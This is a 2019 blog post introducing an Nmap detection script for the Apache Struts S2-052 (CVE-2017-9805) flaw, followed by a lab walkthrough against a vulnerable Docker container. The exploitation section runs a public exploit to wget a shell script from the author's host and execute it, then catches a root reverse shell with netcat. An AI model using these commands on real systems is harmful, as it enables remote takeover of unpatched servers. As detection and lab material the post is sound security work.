Tuesday, February 5, 2019

Detecting Apache Struts S2-052

Introduction


Here's a Nmap NSE script I wrote to detect the 2nd variant of Apache Struts REST Plugin XStream Remote Code Execution Vulnerability, CVE-2017-9805. Script is downloadable here. This was one of the infamous vulnerability that hit Equifax in 2017. The one that hit them was the 1st variant, CVE-2017-5638. Since there wasn't a NSE script to detect the 2nd variant, I decided to write my own.

Sample output:

$ sudo nmap -n --script ./http-vuln-cve2017-9805 -p 80 ptl-41af4f81-e25cbf8e.libcurl.so --script-args=/ -sSV 

Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-05 17:22 +08
Nmap scan report for ptl-41af4f81-e25cbf8e.libcurl.so (104.131.54.221)
Host is up (0.29s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    nginx 1.6.2
|_http-server-header: nginx/1.6.2
| http-vuln-cve2017-9805: 
|   VULNERABLE:
|   Apache Struts REST Plugin XStream RCE
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-9805
|       The REST Plugin in Apache Struts 2.1.2 through 2.3.x before 2.3.34 and 2.5.x before 2.5.13 uses an XStreamHandler with an instance of XStream for 
|       deserialization without any type filtering, which can lead to Remote Code Execution when deserializing XML payloads
|           
|     Disclosure date: 2017-09-15
|     References:
|       https://www.r00tpgp.com/2019/02/detecting-apache-struts-s2-052.html
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-9805
|       https://cwiki.apache.org/confluence/display/WW/S2-052
|_      https://lgtm.com/blog/apache_struts_CVE-2017-9805_announcement

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.38 seconds


Code


The code is pretty simple, the magic happens on line no 67 and 80:


On line 67, contains the payload, an exploit would usually have the evil cmd inserted here. Since this is just a detection script, there is no need for it. If vulnerable, the server will respond with HTTP 200 stack trace dump containing key words such as "org.apache.struts2.rest.handler.XStreamHandler.toObject". Line no 80 does a comparison operator agaisnt the  http response for the matching string. This is is the indicator that the host is running Apache Struts2 XStreamHandler object and very likely to be vulnerable to RCE.

Exploitation


For testing purposes, you can download a vulnerable docker here.

$ sudo docker pull medicean/vulapps:s_struts2_s2-052
s_struts2_s2-052: Pulling from medicean/vulapps
8ad8b3f87b37: Pull complete 
751fe39c4d34: Pull complete 
b165e84cccc1: Pull complete 
acfcc7cbc59b: Pull complete 
04b7a9efc4af: Pull complete 
b16e55fe5285: Pull complete 
8c5cbb866b55: Pull complete 
96290882cd1b: Pull complete 
85852deeb719: Pull complete 
ff68ba87c7a1: Pull complete 
584acdc953da: Pull complete 
dd3a387a5bb7: Pull complete 
d7cf4f910c29: Pull complete 
c181fe02fed0: Pull complete 
d2d0ca101682: Pull complete 
Digest: sha256:fda2fe3b6df63b95d0e258d0f2822282fb627df7bf86e09c31a76b1a56403130
Status: Downloaded newer image for medicean/vulapps:s_struts2_s2-052

Once that is done, run it on port 80:

$ sudo docker run -d -p 80:8080 medicean/vulapps:s_struts2_s2-052
ebcfc7292899201c56dee30f8bec934d271a7c93e504cc33d7f451642aae0616

Check if its up:

$ sudo docker container ls
CONTAINER ID        IMAGE                               COMMAND                  CREATED             STATUS              PORTS                  NAMES
ebcfc7292899        medicean/vulapps:s_struts2_s2-052   "/usr/local/tomcat/b…"   12 seconds ago      Up 9 seconds        0.0.0.0:80->8080/tcp   upbeat_visvesvaraya

Great! Now let's see if my NSE script works:

$ sudo nmap --script http-vuln-cve2017-9805.nse localhost --script-args path=/orders -p 80
Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-09 16:18 +08
Nmap scan report for localhost (127.0.0.1)
Host is up (0.00010s latency).
Other addresses for localhost (not scanned): ::1

PORT   STATE SERVICE
80/tcp open  http
| http-vuln-cve2017-9805: 
|   VULNERABLE:
|   Apache Struts REST Plugin XStream RCE
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-9805
|       The REST Plugin in Apache Struts 2.1.2 through 2.3.x before 2.3.34 and 2.5.x before 2.5.13 uses an XStreamHandler with an instance of XStream for 
|       deserialization without any type filtering, which can lead to Remote Code Execution when deserializing XML payloads
|           
|     Disclosure date: 2017-09-15
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-9805
|       https://www.r00tpgp.com/2019/02/detecting-apache-struts-s2-052.html
|       https://cwiki.apache.org/confluence/display/WW/S2-052
|_      https://lgtm.com/blog/apache_struts_CVE-2017-9805_announcement

Nmap done: 1 IP address (1 host up) scanned in 0.59 seconds


Bang! The vulnerability was detected, now let's download the exploit for cve-2017-9805 and pwn this box:

$ wget https://raw.githubusercontent.com/mazen160/struts-pwn_CVE-2017-9805/master/struts-pwn.py 
--2019-02-09 16:21:39--  https://raw.githubusercontent.com/mazen160/struts-pwn_CVE-2017-9805/master/struts-pwn.py
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 151.101.76.133
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|151.101.76.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 13843 (14K) [text/plain]
Saving to: ‘struts-pwn.py’

struts-pwn.py                                100%[===========================================================================================>]  13.52K  --.-KB/s    in 0.09s   

2019-02-09 16:21:40 (144 KB/s) - ‘struts-pwn.py’ saved [13843/13843]

This exploit is a bit weird, I can't chain it in a oneliner so I had to do it step by step, first we download the bash shell from my host:

$ ./struts-pwn.py -u http://localhost/orders -c "wget http://192.168.43.216:81/shell.sh -O /tmp/shell.sh" --exploit

[*] URL: http://localhost/orders
[*] CMD: wget http://192.168.43.216:81/shell.sh -O /tmp/shell.sh
[$] Request sent.
[.] If the host is vulnerable, the command will be executed in the background.
[%] Done.

On my machine, I run simple HTTP server using python, I know I got RCE since the victim connected to download the shell:

$ sudo python -m SimpleHTTPServer 81
Serving HTTP on 0.0.0.0 port 81 ...
172.17.0.2 - - [09/Feb/2019 17:00:19] "GET /shell.sh HTTP/1.1" 200 -

Its time to execute the exploit on the target:

$ ./struts-pwn.py -u http://localhost/orders -c "bash /tmp/shell.sh" --exploit

[*] URL: http://localhost/orders
[*] CMD: bash /tmp/shell.sh
[$] Request sent.
[.] If the host is vulnerable, the command will be executed in the background.
[%] Done.


Finally, my netcat listener should pick it up, always remember to run this before you execute the exploit:

$ nc -nlvp 1234
listening on [any] 1234 ...
connect to [192.168.43.216] from (UNKNOWN) [172.17.0.2] 40786
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@ebcfc7292899:/tmp# uname -a            
uname -a
Linux ebcfc7292899 4.18.0-kali3-amd64 #1 SMP Debian 4.18.20-2kali2 (2018-11-30) x86_64 GNU/Linux
root@ebcfc7292899:/tmp#       

Summary

There you go folks, I just showed you how I wrote a Nmap NSE script to detect this vulnerability, setup a vulnerable docker image and exploit the vulnerability step by step, there are easier ways I am sure, just use burpsuite to POST the vulnerable code to the target instead of having to blindly execute the exploit script multiple times. Always understand how the exploit works and what you are doing, break down the steps in smaller steps until you get the desired results.

No comments:

Post a Comment